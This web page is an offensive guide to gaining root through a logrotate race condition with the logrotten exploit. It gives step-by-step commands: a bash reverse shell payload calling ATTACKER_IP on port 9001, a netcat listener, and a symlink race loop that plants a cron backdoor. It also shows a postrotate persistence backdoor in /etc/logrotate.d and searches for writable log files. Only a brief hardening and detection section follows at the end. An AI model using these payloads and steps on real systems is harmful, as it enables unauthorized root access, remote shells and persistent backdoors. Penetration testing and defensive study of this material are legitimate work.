Skip to Content
Logrotate race condition exploitation showing privilege escalation techniques

Logrotate Exploitation

Guide to exploiting logrotate misconfigurations for privilege escalation using race conditions and the logrotten exploit.

Jan 20, 2026
Updated Nov 22, 2026
5 min read

Introduction

Logrotate rotates, compresses and deletes log files. Cron (or a systemd timer) runs it as root, usually once a day. Some versions have a race condition in how they create the new log file, and a user who can write to the log directory can win that race and get root.

Requirements

To exploit logrotate, you need:

  1. Write access to a log file that logrotate manages
  2. Logrotate running as root (the default)
  3. A vulnerable version: 3.8.6, 3.11.0, 3.15.0 or 3.18.0

How logrotate works

Configuration

Global configuration is in /etc/logrotate.conf:

cat /etc/logrotate.conf

# rotate log files weekly
weekly

# use the adm group
su root adm

# keep 4 weeks worth of backlogs
rotate 4

# create new log files after rotating
create

# include per-application configs
include /etc/logrotate.d

Application configs

Per-application configs live in /etc/logrotate.d/:

ls /etc/logrotate.d/
apache2  apt  dpkg  mysql  rsyslog  samba

cat /etc/logrotate.d/dpkg
/var/log/dpkg.log {
    monthly
    rotate 12
    compress
    delaycompress
    missingok
    notifempty
    create 644 root root
}

Status file

Logrotate tracks rotation dates in a status file:

cat /var/lib/logrotate.status

"/var/log/samba/log.smbd" 2024-8-3
"/var/log/mysql/mysql.log" 2024-8-3

The vulnerability

The race condition

Logrotate replaces a log file in a fixed order:

  1. Rename existing log file
  2. Create new log file
  3. Set permissions on new file

Between steps 2 and 3 there is a short window. If you swap the new file (or its directory) for a symlink in that window, logrotate follows it and writes as root wherever the link points.

Vulnerable versions

  • 3.8.6
  • 3.11.0
  • 3.15.0
  • 3.18.0

Check the installed version:

logrotate --version

Exploitation

Using Logrotten

Logrotten wins the race for you.

Compile the exploit

git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten

Create the payload

# Reverse shell payload
cat > payload << 'EOF'
bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1
EOF

Check which rotation option is in use

grep "create\|compress" /etc/logrotate.conf | grep -v "#"

If the config uses create, run logrotten with its defaults. If it uses compress, add -c.

Start a listener

nc -nlvp 9001

Run the exploit

# For 'create' option (most common)
./logrotten -p ./payload /tmp/target.log

# For 'compress' option
./logrotten -c -p ./payload /tmp/target.log

Manual exploitation

With write access to a log file and its directory you can try the race by hand:

# Create symlink race condition
while true; do
    # Wait for rotation
    if [ ! -f /var/log/app/app.log ]; then
        ln -sf /etc/cron.d/backdoor /var/log/app/app.log
        break
    fi
    sleep 0.1
done

# Prepare cron backdoor content
echo "* * * * * root /tmp/shell.sh" > /tmp/cron_payload

Find writable logs

# Find writable log files
find /var/log -writable -type f 2>/dev/null

# Check log directories
find /var/log -writable -type d 2>/dev/null

# Find logs managed by logrotate
cat /etc/logrotate.d/* | grep "^/" | cut -d' ' -f1

Force a rotation

Logrotate normally runs once a day from cron. To force a rotation:

# Force rotation (requires root or sudo)
sudo logrotate -f /etc/logrotate.conf

# Or modify status file to backdate
# This makes logrotate think rotation is due

Persistence via Logrotate

Write access to /etc/logrotate.d/ gives you persistence:

cat > /etc/logrotate.d/backdoor << 'EOF'
/var/log/backdoor.log {
    daily
    rotate 1
    postrotate
        /tmp/shell.sh
    endscript
}
EOF

The postrotate block runs as root after each rotation.

Detection and defense

Hardening

# Ensure proper permissions on logrotate configs
chmod 644 /etc/logrotate.conf
chmod 644 /etc/logrotate.d/*

# Restrict write access to log directories
chmod 750 /var/log

# Update logrotate to patched version
apt update && apt upgrade logrotate

Detection

  • Monitor for new files in /etc/logrotate.d/
  • Watch for symlinks created in log directories
  • Alert on unexpected child processes of logrotate

References

MITRE ATT&CK techniques

Vulnerabilities

Tools

Other resources

On this page